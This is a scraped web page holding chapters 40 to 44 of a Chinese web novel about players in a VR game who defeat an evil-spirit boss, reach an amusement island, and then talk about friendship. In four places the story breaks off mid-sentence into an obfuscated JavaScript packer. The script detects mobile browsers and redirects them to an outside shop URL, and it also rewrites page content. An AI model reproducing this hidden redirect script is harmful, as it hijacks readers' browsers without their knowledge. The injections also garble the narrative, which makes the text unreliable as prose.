可惜的是，实际情况并未按照我所希望的那般进展。在光明彻底归来之前，恶灵们会抓紧时间发起大反攻，而这时候，陆地上的动物，可就有点小儿科了，它们不过是来打前阵的。真正的精锐队伍还在后头呢。 夜空中骤然发出一声哨音，这声音的来源是一只大型猛禽，小星肯定熟悉，他不久前还积极体验过呢。对，那是一只鹰隼，冒着黑雾，肚子破烂，羽毛稀疏，可饶是这样，飞行速度依然不减，大半月的地面防线对它毫无用处，因为在所有人意识到它的到来之前，它的翅膀已经掠过了我们的攻击范围，还不及我们回头追踪它的飞行轨迹，它已经飞出了我们的视线，直冲我们背后的洞穴而去。 篝火的光明不可能护佑到所有地方，那些光线所不及的黑暗之处正是恶灵的庇护之所。洞穴前方的空地正是这样所谓的灯下黑，那里没有人防御。 我们赶紧回头，眼见着鹰隼停留在空地的上方，调整翅膀的角度开始俯冲。 两支箭带着火光从地面遽然飞起，分别射中了鹰隼的左右两翼，鹰隼折断了翅膀，再也不能飞翔，坠落地面之后，已经没有了那么至高无上的攻击力，我们就这样稳准狠地扼杀了恶灵的空中打击力量。 我立即想要找出是谁在这千钧一发的一刻发出这至关重要的攻击，只见雪和小星双双放下举起弓箭的手，专注地观察着夜空，面色凝重。 “还有。坚持。”雪拍了下小星的肩膀，一板一眼地说，她马上回到小半月的队伍中，发出号令，大半月和小半月的弓箭手，齐齐分散站位，守住各自的位置，很快就形成整齐的列阵。 这只鹰隼也是个来打头阵的，随着它的到来，地面上的动物数量开始降低，速度也肉眼可见地减慢，可是，情况却并没有因此而变得乐观，因为恶灵们的攻击方向已经从地面转移到了空中，我们这些人又不会飞，只能依靠这些弓箭手当作唯一的反制空袭的武装力量了。 什么蝙蝠、天鹅、猫头鹰，带翅膀的动物们开始乌央乌央地出现在夜空中，近乎遮挡住了慢慢复原的月光，这会是它们最后发起的一波攻击吗？我暗暗猜测，却不知道答案。 跟随雪和男指挥官的声声号令，男女弓箭手们，张弓，搭箭，射击，没有被大半月拦下的不速之客们，进入了小半月射手的攻击范围内。此时它们的飞行高度往往已经降低了，都有了即将降落的架势。 女弓箭手们的反应很果断，临危不惧，抓住飞行恶灵们渐渐靠近地面的间隙，迅速出击，此时的命中率往往更高， 至此，能够突破两轮防线的恶灵们少之又少，而那剩下的漏网之鱼，早已经被雪和小星的箭消灭干净了。 圆月在我们还未来得及注意的时刻，全然恢复了。 恶灵们发出最后的鸣叫，不甘地隐入银色的月光中。 地面恢复平静，草叶反射着月色的光辉，在广袤的平原上若隐若现。大地很安详，除了我们这些亲历者之外，没有人会想到这里刚刚发生过一场殊死的战争。 久违的系统提醒终于出现了：任务完成，当前区域可保存。 再次上线的时候，我们还没有告别草原的场景，天色已转换，黑夜就快过去，天边已经露出了鱼肚白，我们上线时自动出现在洞穴前方，大部分的居民还在睡梦中，场地中央的篝火堆早已经熄灭。一些破碎的木制武器，被遗落在昨日的战场上，还没来得及收拾，而我们之前提供给部落人们的武器，则不知被谁规规矩矩地码放在洞穴两侧。 小星直呼第三个区域太累了，他还说通关时间如果按照目前这样逐次递增下去的话，还没等通关玄武雕像呢，他就要因为睡眠不足而昏过去了。 “你是不是有点夸张了罗小星，这不是让你休息一天了吗？” “行吧唯月，我一直以为自己是精力旺盛的人，现在和你们三个人一比，我真的有点体力透支了，你，镜舟大哥，思婷姐，怎么都不显累啊！这几天积累的疲劳让我有点吃不消了，我猜测，也可能是精神受到了太多的刺激！造成我的睡眠质量下降，体力恢复不够理想，嗯，一定是这样的！” “因为你是正常人。再说了，谁让你玩得那么投入了，一点不懂得保持体力。”唯月停顿了一下，又说，“游戏不让你时不时地受那么点刺激，你又好抱怨沉闷无聊了，又怎么可能玩到现在。” 小星哈哈一笑，双手交叉放在后脑勺上，悠闲地踱着步，“我就这么难伺候吗？” 我被小星的样子逗笑了，我偷偷看了看镜舟，他正在看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雪闻声看了看洞穴，绿萝的身影逐渐浮现，走出了洞中，我惊讶地发现，在它的嘴里，叼着一只老鼠。 “绿萝……”我半张着嘴，绿萝看着我，气定神闲。我突然觉得此时的它自信多了…… 绿萝丢下那奄奄一息的老鼠，围着我的脚边，转了一圈，然后又回去叼起它的战利品，隐身洞中。 “不会再回来了吗……这就是你的选择么，也好。”我喃喃自语。 这算是一种动物式的告别吗？我有些迷惑地想着，突然又有点恍然：对啊，猫最开始并不是作为宠物出现的，也许我也是它的宠物，当时机成熟的时候，它也要回到它的世界。再者，我确实冷落绿萝太久了。 当我觉得生活变得精彩的时候，就不再把它视为每天都挂念的陪伴了。 41. 第 41 章 “白虎玉佩可以使用诶。”罗小星手里拿着玉佩，不断摩挲着，“咦，这个形象和雪脸上的图画很像啊，难道这就是山神？可是我们都没有见过呢……” 正在小星对着玉佩自言自语的时候，他手中的玉佩发出白色的幽光，突然失去原来的形状，倏忽间变了一个样子。 “我只是点选了一下使用，它就变成这样了。”小星茫然道，“变成了一枚吊坠？” 小星提溜着红绳，红绳的中心拴着的是一块六瓣雪花形状的无瑕白玉，很精致。他就这么看着雪花发呆。 “刚才系统显示，这枚吊坠获得了山神的祝福。啊，我的通关玉佩啊……怎么变成了一个饰品。” “可是你拥有了山神的祝福啊。”我只好安慰道。 “啊，思婷姐，我都觉得这不像是我的东西了，它是雪花，又不是星星。”小星说罢深吸了一口气，走到雪的面前，“送给你吧，雪，你看这吊坠和你多配啊，你们的部落更需要山神的祝福，祝福你们在下一次圆月的时候依然能够安然度过，没有我们的帮助，你们可要继续加油啊，希望那些武器能够助你们一臂之力。森林里真正的野兽是很危险的，其实我倒是觉得吧，你们也可以试着种种粮食啊，别总是靠打猎这么危险的方式获取食物了……” 小星的话让我想到刚才绿萝捉到的那只老鼠，也许洞穴内已经开始储藏了什么农作物。 “总之呢，小星谢谢你们对我们的款待，和你们并肩作战是难忘的回忆呢。” 小星也没等雪回答，就把吊坠戴在了雪的脖子上，“你看，很合适啊。” 雪难得流露出吃惊的表情，她看了看这枚晶莹的雪花，双手举起，将雪花护在手心，又一次做出刚才那个双手合十的动作。小星学着她的样子，也双手合十，食指抵着眉间，闭上眼睛。 奇怪的事情发生了，我眼见着小星的身躯变化为片片雪花，却发不出声音，再一瞧，镜舟和唯月都不见了，我的视线升腾起来，越飘越高，浮于大地之上，天空灰蒙蒙的，刚刚升起的旭日被厚厚的云层遮挡。 下雪了。 “小伙伴们，你们在哪里呀，出什么ＢＵＧ了吗？”小星呼叫道。 “别那么大声行吗罗小星，喊得我耳朵疼。能听得到你的声音。”唯月答道，声音自带冷漠脸。 “思婷姐，镜舟大哥，你们在不在呀？”小星继续大喇叭呼叫。 我赶忙应声，镜舟也答了声“我在”。 “那我就放心了，话说，我们这是往雪山顶上着陆吗？难道出口在那里？ “可是我们没有实体啊，难道是变成了暴风雪吗，这一路雪花加旋风的……” 飞行的速度很快，还没等我再好好领略一番草原壮美的雪景呢，就跟个无人机似的，贴着山麓，带着加速度地奔向了山顶。 我们悬在山的正上空，才发现，原来山顶的中心，是一座湖，难道这雪山曾经是一座火山吗？我暗自思忖，只是这湖看起来也太瘆人了，毫无波澜，湖水里也不像有活物，湖面还隐隐地泛着黑色，看得我头皮发麻。 这也就罢了，湖水表面忽然间跟煮沸了似的，开始翻腾。潜伏在湖内的某些东西，好像抑制不住想要挣脱出来的冲动，在跃跃欲试。 “绝了，不会又是恶灵作祟吧！这不是白天吗？难道说这里是它们的老巢？”小星看着湖里开始冒出来的东西，感叹道。 恶灵纷纷从湖内涌动的黑雾里显形，这次种类繁多到连已经灭绝的物种都有，什么恐鸟、恐龙、猛犸象……不过身体构造方面还是熟悉的配方，每个恶灵的身躯都是破败的或腐朽的。 它们像是被束缚在湖的表面，无法挣脱，我们这些透明无人机，正在朝这个湖面俯冲。 “亲娘咧，这是要干嘛？这是要把我们当食物送给恶灵大饱口福吗？”罗小星吐槽道。 正当我们俯冲到要和湖面来一次亲密接触的时候，我们在小星的嗷嗷叫中急刹车，悬停在湖面上十米左右的地方。 “我的听力算是要被你毁了，罗小星，你跟这坐过山车呢？”唯月冷冷地说，还不忘嘲讽一下。 小星显然是已经顾不上这些了，湖面的恶灵逐渐汇聚成一体，合并成一个终极版的暗黑恶灵ＢＯＳＳ，而我们也不再是透明无人机了，按照小星的说法，一路雪花加旋风地显了实体，和雪的图腾、白虎玉佩一样，变成了一个冰雪铸成的类虎猛兽，而且还附加一双硕大的羽翼，正可谓是如虎添翼…… 湖面还能反射出我们的倒影，我也正好趁机对自己的究极形态瞻仰一下，唯一不太满意的点就是，我们对面的恶灵ＢＯＳＳ和我们长得一样，不过是黑色加破败腐朽版本的……我们之间有点像轴对称图形。 “原来山神竟是我们自己……”小星点评道。 一声怒吼震天响，随着我们的塑身完毕，山神，对了，当下也就是我们的身躯，一下子来了个鹞子翻身，配上那声怒吼，真可谓是闪亮登场了。 “罗小星，你别瞎转悠行不行？我被你晃得眼晕。你知不知道，我们都操作不了，只有你能动。” “是吗是吗？”小星的语气难掩兴奋，“我刚才看到有一个动作提示，就试了一下，不好意思啦，头一次获得山神体验卡，有点不适应呢！”光听声音都能感觉得出小星的激动。 还没等小星好好品味这份幸福滋味呢，恶灵ＢＯＳＳ就不讲武德地直接冲向了我们，没有任何怒吼，也没有任何起式，目标明确，动作迅速，我们被这猝不及防的撞击打了个措手不及，直接被冲飞到湖的边缘上，身子猛烈地撞到山体，碎石簌簌落下。原本平视的双方势均力敌，现在形势急转直下，恶灵高高在上地俯视着我们。而且看起来它正要乘胜追击，用它的黑色“铁蹄”把我们一次性踏个粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原来刚才小星是故意试探恶灵的进攻方法，测试的结果就是发现自己原来完全可以对付。当小星在防守上已经感到无聊的时候，他便准备迅速发起攻击，速战速决，不再浪费时间，因为显然，对战已经没什么乐趣了。 山神一声嘶吼，马上向恶灵奔袭而去，在即将接近的一刻，用右前掌猛烈地朝恶灵的面部挥去，恶灵躲闪不及，结结实实地吃了一招。 “感觉怎么样啊？”小星得意道，“你打不过我的，赶紧投降，我们好进入下一区域嗷。” 恶灵被打趴在对面的山脚处，左侧脸颊和颈部冒出暗红色的血，已经破败腐朽的躯体竟然仍会流血。 正当我以为胜利在望的时候，恶灵几次吐纳之间，已经恢复了战斗力，不对，不仅仅是恢复，它的移动速度变得更快了，而且力量也更强！ 恶灵根本就不怕攻击，相反，它越是受到伤害，能力就越能得到提升，简直就是竞技场上战无不胜的永动机。 42. 第 42 章 “啊，这还怎么打？我说怎么没有ＢＯＳＳ血条呢，得嘞，这家伙根本就不会死。是不是因为我们手里没有火把，所以根本就找不到它的弱点？”小星慌了，事情的走向超出了他的想象。 心态一崩，操作就容易出问题。小星发生失误，没有及时闪避，再次被恶灵击中，半个身体已经滑入水中，激起巨大的水浪。 我双手拼命合十相抵，才堪堪和队友们将蓄力条积满，在恶灵的下次攻击到来之前抓紧时间起身躲避。 “对不住啦各位，有点水平下降了，我调整下状态哈……集中注意力，小伙伴们，帮忙一起想想办法啊，怎么对付这个大ＢＯＳＳ，越耗下去对我们来说就越吃亏啊……”小星求救道。 恶灵的目的总是这样单纯，小的大的都一样，这位ＢＯＳＳ像跟我们有什么深仇大恨一样，非要扑倒我们而后快。 当山神的闪避能力下降的时候，它立马就嗅到了机会。 “小星，我觉得恶灵好像要把我们打下来。” “啊？思婷姐，你说什么，我没明白啊！”恶灵的攻击越来越频繁，每次小星反击的时候，它都能在受伤之后变本加厉地打回来，小星说的对，总靠躲闪是不行的，会消耗体力，而一次又一次地攻击它又对它有利。 山神的羽翼现在也很难施展，恶灵渐渐形成压制，不让小星有躲避的空间。 “哦，我有点懂了！我也发现了！”小星语气焦急地喊道，“它好像总想把我们拍进湖水里！” “你就没有什么技能可以用吗？”唯月问道。 “技能？我看看……”小星又要招架恶灵的攻击，又要研究山神的天赋，已经有些分身乏术了。 “有！有个叫冰封的技能。但是施放了没有效果啊？” 小星话音刚落，恶灵又一次击中了我们，我们在触及水面的那一刻，小星也急中生智，用爪子把恶灵束缚住，限制它的飞行。 “你朝哪施放了？冰封空气啊？”唯月没好气地说，“你这一次次地被击倒，我这双手用力抵在胸前就没停过。” “小星，试试水面。”镜舟镇定地提醒。 “啊我知道了！”小星一点不恼，“快看啊兄弟萌，我把湖水冻住了！” 这时，我们总算形成了一个制服恶灵的初步计划：把它扑进湖水中，然后迅速冰封。 目标一定下来，动作就冷静多了。 小星又恢复了他傲人的动作水平，在奋力鼓动羽翼向上飞到一定高度以后，俯视恶灵，挑衅一般等着它向我们发动攻击，而在恶灵向上袭击我们的时候，我们马上下落，利用高度的优势使出所有的力量将它按进水面，在它挣扎着还来不及发起反攻的时候，以迅雷不及掩耳之势冰封湖面。 幸运的是，我们的计划成功了。这原来就是游戏设定的战胜恶灵大ＢＯＳＳ的方法。 “没想到，是这样的结局呢。”山神看着冰面下恶灵的面孔。 “它没有死亡，也没有消散，正在愤怒地看着我们呢。就像我们的一个影子。”小星喃喃道。 我们又一次化身为雪，并以这种方式落回了四象石。 白虎雕塑自我们归来之时就已经生龙活虎地显现，并不需要玉佩来激活。四象石已经解封有三，我们也只剩最后一个区域了。 站在威严庄重的山神面前，小星仍旧是有些悻悻的。 “怎么了你，赢了还不高兴吗？”唯月走到小星的身边，这次的语气少了几分调侃，倒像是某种安慰。 “如果我们失败，被冰封在湖里的就会是我们吗？” “我想，游戏设计是无论如何也不会出现这种情况的。变身山神，本身就是一种彩蛋设计，是对你精彩表现的奖赏。没道理让我们输呀。”我朝小星眨了眨眼睛。 “思婷姐，你说，死掉的人就不会再死的对吗？” 小星的问题乍一听起来十分孩子气，可是我却被他问得哑口无言，一瞬间大脑一片空白，好像被什么击中一样，只感觉背后冷风阵阵。 “你在说什么傻话呢，罗小星？”唯月又恢复了惯常的口吻。 “嘿嘿……”小星摸了摸头，“好啦好啦，我只是从来没有这么赢过而已啦，当ＢＯＳＳ残血的时候是会被激怒，攻击变强，以前也不是没遇到过这种情况，只不过这次的恶灵更顽强罢了。万万没想到的是它竟然会从伤害中获得力量呢，简直都有点励志了。希望我们这么做能帮到雪他们啦，让山神在雪山之巅净化恶灵吧。我们继续做我们的事情，下一个待出发的目的地是——玄武！” 小星的精神很快又振奋起来，他率先奔向玄武雕像，“奇怪啊，这次没有门出现啊，只是个基座而已。哦对了，差点忘了一件事情，思婷姐，镜舟大哥，你们的动物徽章，还给你们呀。非常感谢你们！这徽章超级好玩儿的。” “你喜欢最好啦，不过后半程都没什么机会变身了不是吗？”我接过徽章，简单整理了下，一一收起来，一枚徽章吸引了我的注意，我感觉自己没有见过，可是翻到徽章的背面，又看到了自己的名字。我摇了摇头，没有细想。 “那也没关系啊，不可能每个动物都尝试一遍的，而且后续的情节本来就很有趣，不变成动物我也没有觉得无聊啊。” 小星一边回应着，一边研究玄武石，他摸来摸去，“不像有任何机关的样子……” “咦，这边好像有个超级大的裂缝啊。”小星用手触摸那条裂缝。 忽然间，裂缝崩裂，有水涌出，小星连忙躲开，“我的妈呀！”小星一边跑一边呼叫，“不是我干的，我只是碰了一下，真的！” 这自然不是小星的恶作剧，眼见着玄武石就跟东海的泉眼似的，一根冲天的水柱突破裂缝，喷涌而起，我们所在的荒原很快就变成了古老的海底。 我们再次享受了白虎门独有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712097|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与万物为一的变身机制，化身为巨大的蓝鲸，被水柱冲至海面，身后的滔滔浪潮引导着我们的去路，我们在辽阔的海面上快速行进。 “真的鲸鱼没有这么快的速度吧？”这个时候，小星的好奇心依然旺盛。 “不知道，没坐过。”唯月冷冷地答，语气虽淡，但是回应得常常很及时。 “哇吼，大海我来啦！”小星欢呼着。 我们乘长风破万里浪，很快就在茫茫无际的大海上搜寻到一个目标。 那是一座岛屿，远远望去，只见那里被白色雾气缭绕，让人看不真切。 在距离岛屿还有大概两公里距离的时候，在蓝鲸的最后一次歌唱中，借助鲸鱼换气时自呼吸孔排出的气柱的力量，我们从蓝鲸的身躯幻化为人，落在了海面上。 我看了看脚下，仔细来说我们脚踩的地方并不完全是海面。根据目前所见，我们脚下是两条通往岛屿的笔直的铁轨。 此刻的我们正站在枕木上，这枕木正自动向前移动，仿佛铁轨的下方还有什么不可见的机械装置，让每一根枕木像坦克履带一样，串连并转动起来。蓦地，我想到了命运的齿轮这个比喻。 “这怎么像是做电梯呢，不对，应该说我们是被扔到传送带上了。”小星惊奇道。 我点了点头，“倒也挺好的，省得我们走了。” 铁轨两边的海面上方，渐渐如同海市蜃楼一般出现了略显模糊的幻境，清晰度虽然没有那么高，但也足够使我们看懂画面内容了。 在铁轨的左侧，能看到一位兴致勃勃的裁缝正拿着皮尺为客人量体裁衣，一位精神抖擞的厨师全神贯注地盯着锅中翻炒的菜肴，一位设计师手里举着建筑图纸醉心思考，还能看到少男少女们骑着自行车在林荫道上尽情欢笑； 在铁轨的右侧，则未能看到人的身影，取而代之的都是高大上的现代生产图景：机械臂精准地抓取零件，在流水线上往来穿梭，人形机器人在硕大的车间内完成装配、搬运、检测等一系列复杂操作…… 我们走马观花地看完这场也许是关于劳动与生产力的较为简略的切片，还不等我再慢慢回味一下，幻境就越来越模糊，我们来到了铁轨的尽头，登上了岛屿。 走过一片浅金色的洁净的沙滩，回望来时路，只见湛蓝的海水，哪还有什么铁轨和海市蜃楼。 我们绕过前方遮挡的岩石，转眼就看到了一个彩色的检票口，每一个检票的闸机都有对应的颜色，嫩绿、粉红、奶白、深蓝，且上面还绘制了萌萌的卡通动物形象。 一位在马戏团经常会看到的小丑，出现在那里，他身穿黑白两色条纹的西式燕尾服。悄悄地说，这衣服穿在身上真让人看起来像只斑马。其它的装扮就和我们通常会看到的形象差不多，面部的油彩和红鼻子蛮让人有熟悉之感的。 小丑什么话都没有说，直接用丰富的肢体语言，向我们展示出了欢迎的动作。 43. 第 43 章 我们四个人默契地一人站在一个闸机面前，感应器“嘟”的一声，一行绿光显现，闸机的小门打开。 小丑伸出两只柔软的胳膊，热情地引领着我们，我们跟随者向前走。还没走多远，小丑便在一旁站定，转身面向我们，双手先是慢慢收到身后，然后右手又一下子伸出来，敏捷地变出一枝鲜红的绽放的花朵。小丑看了看我们几个人，好像是在选择赠予花朵的对象。很快我就看到小丑走到我的面前，把花朵递给我，正当我伸手去拿的时候，小丑又一挥手，那花朵瞬间变成一个精美的红色信封。 这次小丑又把信封递给我，我反倒有点不敢拿了，怕又是小丑设计的一个什么把戏，小丑微笑，鼓励我，如此一来我才放心地接过那个信封。 小丑用动作示意我，让我把信封打开。 我听话地照做，打开信封的瞬间，一封信从中飞了出来，暗红色的信纸，四周还有繁复的复古花边，空白的信纸逐渐在我们的面前放大，渐渐有金色的花体字迹浮现于上。 亲爱的《梦田》玩家： 恭喜您已经成功领略三个区域，获得了参与最后挑战的资格。 挑战区域将于周年庆典当日１９：００盛大开启。 我们恳请优秀的您先耐心等待其他玩家继续探索前三个区域的精彩，请给予他们多一点点时间。 在等待的间隙，我们诚挚地邀请您体验游乐岛上的各式娱乐项目。游乐岛内您的表现将不会被计入特典评价体系，请您在这片净土之上，尽情享受游乐时光。 您当然也可以选择暂时关掉游戏，好好休息，释放掉几日以来积累的疲惫，为即将到来的最后挑战养精蓄锐。 我们与您相约周年庆典，就在这里，不见不散。 ——特典项目组敬上 小星把整封信读了一遍后，金色字迹连着信纸一同慢慢变小，最后信纸自动折叠，重又飞回了我手中那个红色信封之中。 “所以说最后的关卡，原来就这么简单吗？没有之前那么些剧情要走，所有的悬念都留在周年日那天？”小星疑惑道。 “从信里说的来看，是这样的。我想，我们可能是率先通过前三个区域的玩家，所以游戏为了追平所有参与特典挑战的玩家进度，在我们刚一进入最后一块四象石所代表的区域的时候，设置这么一个缓冲地带，好让我们等等那些进度慢的玩家。”我说出我的看法。 “我觉得这个猜测很合理啊思婷姐，那么，我们难道是最先完成前三个区域的玩家吗？”小星的语气渐渐兴奋起来，“那我们也太厉害了吧！” “罗小星啊，我说你虽然你人长得挺憨的，可你想得倒是挺美的。”唯月边走边说，“你认为按照每天只有在晚上七点才上线的这种刷图速度，就算是刷到通宵，你就会是第一个通关的吗？你以为全梦田那么些玩家都和你一样慢悠悠的么。” “我真的已经是尽量挪出时间参与游戏了，好吧，我刚才就是那么一说，不过我们的游戏安排还是很紧凑的嘛，每个区域也都还算顺利，而且全部都拿到了玉佩，相当于都打开了隐藏关卡。就算不是第一名，那也肯定是第一梯队的。我们整个队伍的游戏评价分数，一定不会低！这一点自信我还是有的。” “是啊，也不看看你和谁在一个队伍里。”唯月回头看了一眼罗小星，打趣道。 “咦～唯月，你该不会是想说，我最需要感谢的那个人，是你吧！” “你不已经说了。”唯月回道，他继续迈着气宇轩昂的步伐往前走。 小星愣在原地几秒，才反应过来，气呼呼地说：“你这人是不是占我便宜啊？！我说要好好谢谢思婷姐和镜舟大哥才对的好不好！” 游乐岛上的雾已经散了，阳光照耀，蓝天白云作伴，是个难得的好天气。这座游乐岛的中心完全是人工建成的花园式空间，连道路上的鹅卵石看起来都很干净，每一处设施都没有任何锈蚀的痕迹，甚至连油漆都泛着晶莹的光亮，所有的娱乐项目仿佛是刚刚建成的一般。 在走进这里没多久后我们发现，我们终于自进入青龙门之后，再一次见到了真正的游戏玩家，而不是陪我们过剧情的ＮＰＣ。 “哎呀，可算是见到活人了啊！”小星兴奋得和见到的玩家打招呼，然而对面的玩家只是笑笑。 “咦，怎么听不到啊？”小星有些失望地发现没办法和对方开启对话。 “大概只有队伍之间能够有语音频道。”我猜测道。 小星耷拉着脑袋，升腾起来的激情瞬间降温，他不甘心地追着刚才看到的玩家，朝着人家比了个大拇指。 那位玩家的表情起先是愣怔了一下，而后又有些了然地微笑着回了一个大拇指。 “还真是怎么都憋不住你这过剩的表达欲啊。”唯月淡淡地点评道。 “那是当然，说不了话，这不还有手势吗？大拇指全世界通用，我好不容易闯到这一关，还不允许我表扬一下自己吗？项目组都说了，这个岛就是给咱们放松的地儿，那我当然要身体精神一起放松咯！” “哎罗小星，我劝你还是多出去了解一下情况，这并不是全世界都认可的手势，小心到了某些国家挨揍，别身边即世界。” “啊？”小星抬头望天琢磨了一下，“我倒没想这么多呢，不过是有这种可能啦，无妨，到时候唯月你提醒一下我就是了，我可以学嘛。” 说罢，小星就蹦蹦跳跳地奔到旋转木马那去了，“哎呀，这个项目适合我！你们快来呀，小伙伴们！” 说来奇怪，好像见过的每一个游乐场都少不了这个最基础的项目——旋转木马，五彩的灯光，悠扬的音乐，和那周而复始旋转的各色彩漆木马，就这几种再简单不过的元素的组合，却总也让人玩不够。 可惜，我现在并没有游玩的心情，我要同镜舟确认一件事情。 “镜舟，你也一起去吗？”我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712098|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着镜舟的眼睛，他还是没有看向我，只是摇了摇头，“那正好，我有件事情想跟你说。” 和镜舟谈一谈之前，我倒也没有忘记，应该先跟唯月打声招呼，不能把他一个人落在这，“唯月——” 还没等我叫住他，我便眼见着唯月三步并作两步地追到了小星的身后，说道，“你看看，还是得我陪着你玩儿吧。这种有年代感的玩意儿，我都多少年不碰了。” 我有点落寞，又看了看镜舟，我拉了拉他的袖角，指了指前方不远处的长椅，“我们去那里坐坐吧。” “你发现了吗，镜舟，唯月似乎也在躲着我，他已经很久没有喊过我的名字，没有和我说过话了，我们明明时刻呆在一起，但又像是陌生人。” 我不禁陷入了回忆中，“最开始是唯月先和我搭话的，我当时还很惊讶，现在想来，我最开始认识的那个唯月和眼前的这个，就像是截然不同的两个人，那个时候，他还叫我思婷姑娘呢，现代人已经很少听到这种叫法了。”提到这个称呼，我忍不住笑了，“当时的那种古代情景，确实会激起人的表演欲望，也许后来在我们面前展现出来的，才是更接近他性情的真实一面。” “我有时候想，他当时为什么要和我们组队呢，是像小星一样，发现了和你在一起有更大的胜率吗？”我看了看镜舟，他在沉思，我想他有在认真听我说话。 “游戏很快就要结束了是不是，天下没有不散的筵席，可是我其实很希望在特典结束以后还能常常看见你们，和你们在一起玩儿。我不希望，通关之后大家就像陌生人一样不在游戏里联系。我以前不是这样的，曾经我也是习惯了一个人做每一件事情，因为在梦田这个世界里，孤独也可以很精彩，但是当我体会到了和朋友们一起闯过那些一个人很难闯过的难关时的满足感，我就会产生依赖。 “但其实我也知道，联系太频繁了会是一种负担，我有时候也会不耐烦，总是优先考虑自己，绿萝一定也失望地发现了我这一点了吧。我就是那种天晴了要下雨，下雨了又盼天晴的人……”我自嘲地笑笑，“可能理想的友情模式就是君子之交淡如水吧。” 我望向旋转木马上嬉闹着的小星、唯月两人，唯月竟然坐在一个小松鼠坐骑上，小星瞅着他不停地做鬼脸。 “我有时侯会想，如果能把在这里的相遇转变成由线下开始的话就太好了。我倒也不是过分自卑，我呢，其实就是个普通人，长相一般，工作一般，个性一般，再加上性格有点拧巴，内向久了，生活中和人很少主动接触，总是与别人保持一定距离，这已经成为我的一种习惯了。 “如今，我父母也都不在了，我更觉得生活没什么依靠，好像人都要变透明了。如果我们先在线下认识过就好了，只要彼此觉得对方不是特别讨厌的类型，就能继续成为朋友。那种先彼此接纳，再继续发展的人际关系是我的理想。我有点害怕，由线上转线下的过程会让别人对我失望……” 44. 第 44 章 我停了下来，“让别人对我失望”这几个字仅仅是说出口就让我感到疲惫，我隐约觉得自己有点说过界了，玩游戏而已，谈什么线上线下呢，又不是要见面。可是，坐在镜舟身旁，我不由自主地就想倾诉这些内心的碎碎念，我知道他会耐心地听的。 “你应该有自己的生活。”镜舟斩钉截铁地说道。 我似乎已经有很长时间没听到镜舟的声音了，我也很奇怪自己为什么会有这样的感受，可能只因我无比地期待他的回应罢了。我立即看向镜舟，这句话的每一个字我都理解，但是放在一起，却让我有几分摸不清他话里的意思。 “我不太明白，我现在不是已经有自己的生活了么……”我迷惑不解，立即就想要反驳镜舟，意识到这一点后又不禁露出讨好的笑来。 “没有人可以一直停留在另一个人身边。”镜舟看着我的眼睛，我真喜欢他这样专心地看着我。 “我知道啊，我们之前说过的，人本来孤独。可是孤独的间隙也可以有陪伴不是吗，即使最后还是要分离，可是相伴的时光就算再短暂也是值得拥有的。” “已经有过这样的时光了。不用奢求更多。”镜舟淡淡地回答着。 我停顿了一下，想起刚才自己说出来的话语其实和我内心里真正想要表达的愿望是不同的，“不是，怎么说呢……”我并不满足已经拥有的相处时光，如果可能的话，为什么不能更长久地相处下去呢？说不定这样一来，孤独就不见了。难道我们生来就一定要选择这么一种无尽孤独、乏味、冰冷的生活吗？ 镜舟轻叹一声，“思婷，你想要的是什么呢？” “我希望每天都能看到你啊。”这句话可以说是脱口而出，我都不知道自己哪里来的勇气，嘴在前边跑，脑子在后面追。刚一说完，我就自己先尴尬起来，假装轻咳了几声，“我是说，我希望能够和你成为朋友，多了解一些，如果可以的话……怎么说更贴切呢，我希望能和你成为人生路上的好伙伴。”我感觉还是有些词不达意，这笨嘴，我都有点怨恨上自己了。 “每天都能看到我？这是十分危险的想法。危险之处并不在于，我能不能答应你，而是你一旦把拒绝的权力交到别人手上，必然会给了人们伤害你的机会。” “这我知道。”我想到了论坛上那条被点赞的状态，心里还是隐隐作痛，“可你是我选择的，我不相信你会伤害我。” “我们已经是朋友了。”镜舟没有回答我的话，“但即便是朋友，也不能做一辈子的。会有分离的那一天，你也明白这一点的，对吗思婷？” “我不是这个意思。”我低着头，心里品尝着沮丧的滋味。 “如果你是因为我帮助过你的话……” “你救过我，很多次了。”我打断了镜舟的话。 镜舟停顿了几秒，“好吧，如果你认为我救过你，如果你认为我在你身边，会让你有充足的安全感的话……” “我知道你要说什么，”我冷不丁地察觉到，自己逃避去面对的心思被人说中了，此刻镜舟所指出的是否正是我潜意识中的想法？我不愿意承认，但又无法否认。“我没有求你做什么。不愿意就算了。” 